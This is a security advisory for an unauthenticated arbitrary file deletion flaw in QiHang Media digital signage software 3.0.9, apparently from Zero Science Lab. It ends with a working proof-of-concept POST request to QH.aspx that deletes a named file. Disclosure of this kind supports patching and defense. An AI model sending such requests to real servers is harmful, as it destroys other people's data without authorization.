QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Unauthenticated Arbitrary File Deletion


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
        Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: Input passed to the 'data' parameter in 'QH.aspx' for delete action
is not properly sanitised before being used to delete files. This can be
exploited by an unauthenticated attacker to delete files with the permissions
of the web server using their absolute path or via directory traversal
sequences passed within the affected POST parameter.


Tested on: Microsoft Windows Server 2012 R2 Datacenter
           Microsoft Windows Server 2003 Enterprise Edition
           ASP.NET 4.0.30319
           HowFor Web Server/5.6.0.0
           Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5580
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5580.php


27.07.2020

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POST /QH.aspx HTTP/1.1
Host: 192.168.1.74:8090
Content-Length: 105
User-Agent: Eraser
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://192.168.1.74:8090
Referer: http://192.168.1.74:8090/index.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

responderId=ResourceNewResponder&action=delete&data=["/opt/resources/Billboard.jpg"]